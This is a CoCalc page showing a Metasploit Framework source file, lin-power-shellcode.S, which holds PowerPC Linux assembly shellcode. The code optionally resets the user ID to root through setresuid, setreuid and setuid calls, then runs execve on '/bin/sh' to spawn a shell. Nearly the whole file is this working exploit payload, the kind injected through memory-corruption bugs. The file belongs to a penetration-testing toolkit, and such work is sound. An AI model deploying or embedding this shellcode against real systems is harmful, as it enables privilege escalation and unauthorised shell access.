CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/unixasm/lin-power-shellcode.S
Views: 11765
1
/*
2
* lin-power-shellcode.S
3
* Copyright 2008 Ramon de Carvalho Valle <[email protected]>
4
*
5
* This library is free software; you can redistribute it and/or
6
* modify it under the terms of the GNU Lesser General Public
7
* License as published by the Free Software Foundation; either
8
* version 2.1 of the License, or (at your option) any later version.
9
*
10
* This library is distributed in the hope that it will be useful,
11
* but WITHOUT ANY WARRANTY; without even the implied warranty of
12
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
13
* Lesser General Public License for more details.
14
*
15
* You should have received a copy of the GNU Lesser General Public
16
* License along with this library; if not, write to the Free Software
17
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
18
*
19
*/
20
21
#include "linux-power.h"
22
23
.globl main
24
25
main:
26
27
#ifdef ALL
28
setresuidcode:
29
lil %r31,__CAL
30
xor %r5,%r5,%r5
31
xor %r4,%r4,%r4
32
xor %r3,%r3,%r3
33
cal %r0,__NC_setresuid(%r31)
34
.long 0x44ffff02
35
36
setreuidcode:
37
lil %r31,__CAL
38
xor %r4,%r4,%r4
39
xor %r3,%r3,%r3
40
cal %r0,__NC_setreuid(%r31)
41
.long 0x44ffff02
42
43
setuidcode:
44
lil %r31,__CAL
45
xor %r3,%r3,%r3
46
cal %r0,__NC_setuid(%r31)
47
.long 0x44ffff02
48
49
#endif
50
51
shellcode:
52
lil %r31,__CAL
53
xor. %r5,%r5,%r5
54
bnel shellcode
55
mflr %r30
56
cal %r30,511(%r30)
57
cal %r3,-511+36(%r30)
58
stb %r5,-511+43(%r30)
59
stu %r5,-4(%r1)
60
stu %r3,-4(%r1)
61
mr %r4,%r1
62
cal %r0,__NC_execve(%r31)
63
.long 0x44ffff02
64
.asciz "/bin/sh"
65
66
#ifdef ALL
67
exitcode:
68
lil %r31,__CAL
69
xor %r3,%r3,%r3
70
cal %r0,__NC_exit(%r31)
71
.long 0x44ffff02
72
73
#endif
74
75
76